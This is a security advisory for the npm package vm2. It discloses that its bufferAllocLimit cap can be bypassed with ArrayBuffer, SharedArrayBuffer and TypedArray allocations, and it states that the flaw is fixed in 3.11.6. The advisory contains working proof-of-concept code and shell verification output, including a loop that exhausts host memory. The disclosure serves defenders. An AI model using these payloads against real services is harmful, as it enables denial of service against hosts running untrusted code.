GHSA-v836-6xw4-9cx3 vm2 has Memory Exhaustion DoS via bufferAllocLimit Bypass

• npm vm2: < 3.11.6 → fixed in 3.11.6

Summary: The `bufferAllocLimit` defense (GHSA-6785-pvv7-mvg7) can be completely bypassed using `ArrayBuffer`, `SharedArrayBuffer`, or any `TypedArray` constructor. These allocate identical host-process RSS through the same V8/libuv C++ allocation path as `Buffer.alloc` but are not subject to the size cap. Details: The `bufferAllocLimit` option (vm2 v3.11.0+) caps `Buffer.alloc`, `Buffer.allocUnsafe`, `Buffer.allocUnsafeSlow`, and the deprecated `Buffer(N)` / `new Buffer(N)` forms. The cap is enforced in `setup-sandbox.js` via `checkBufferAllocLimit()` (line 353-359). However, `ArrayBuffer`, `SharedArrayBuffer`, `Uint8Array`, `Float64Array`, and all other TypedArray constructors are sandbox-realm V8 intrinsics that allocate host memory through the SAME underlying C++ path (`v8::ArrayBuffer::NewBackingStore` → `ArrayBufferAllocator::Allocate` → `calloc/malloc`). These constructors are NOT intercepted by the `bufferAllocLimit` defense. A single `new ArrayBuffer(N)` call with a large `N` exhausts host RSS in one synchronous allocation that V8's `timeout` cannot interrupt. Environment: • vm2 version: 3.11.3 • Node.js: v25.8.1 (affects all Node.js versions) • Configuration: Default `new VM()` or any configuration including `bufferAllocLimit` POC: ```javascript const { VM } = require('vm2'); // Operator sets bufferAllocLimit thinking they're protected: const vm = new VM({ bufferAllocLimit: 10 * 1024 * 1024 }); // 10MB cap // Buffer.alloc IS capped (as intended): try { vm.run('Buffer.alloc(20 * 1024 * 1024)'); } catch(e) { console.log('Buffer.alloc blocked:', e.message); } // → "Buffer allocation size 20971520 exceeds bufferAllocLimit 10485760" // But these BYPASS the cap entirely: vm.run('new ArrayBuffer(1024 * 1024 * 1024)'); // 1GB allocated! vm.run('new SharedArrayBuffer(1024 * 1024 * 1024)'); // 1GB allocated! vm.run('new Uint8Array(1024 * 1024 * 1024)'); // 1GB allocated! vm.run('new Float64Array(128 * 1024 * 1024)'); // 1GB allocated! // OOM kill in constrained environments (Docker, K8s, Lambda): vm.run('var a=[]; for(var i=0;i<100;i++) a.push(new ArrayBuffer(100*1024*1024))'); // → 10GB allocated → host OOM killed ``` Verification: ```bash node -e ' const {VM} = require("./lib/main.js"); const vm = new VM({bufferAllocLimit: 10*1024*1024}); try { vm.run("Buffer.alloc(20*1024*1024)"); } catch(e) { console.log("Buffer BLOCKED"); } console.log("ArrayBuffer:", vm.run("new ArrayBuffer(100*1024*1024).byteLength"), "bytes allocated"); console.log("SharedArrayBuffer:", vm.run("new SharedArrayBuffer(100*1024*1024).byteLength"), "bytes allocated"); ' Output: Buffer BLOCKED ArrayBuffer: 104857600 bytes allocated SharedArrayBuffer: 104857600 bytes allocated ``` Impact: • Type: Denial of Service (Host Memory Exhaustion) • Attack Complexity: Low • Availability Impact: Complete, host process OOM killed in memory-constrained environments • Affected deployments: Docker containers, Kubernetes pods, AWS Lambda, any environment with memory limits. Especially dangerous when operators explicitly set `bufferAllocLimit` believing they have DoS protection.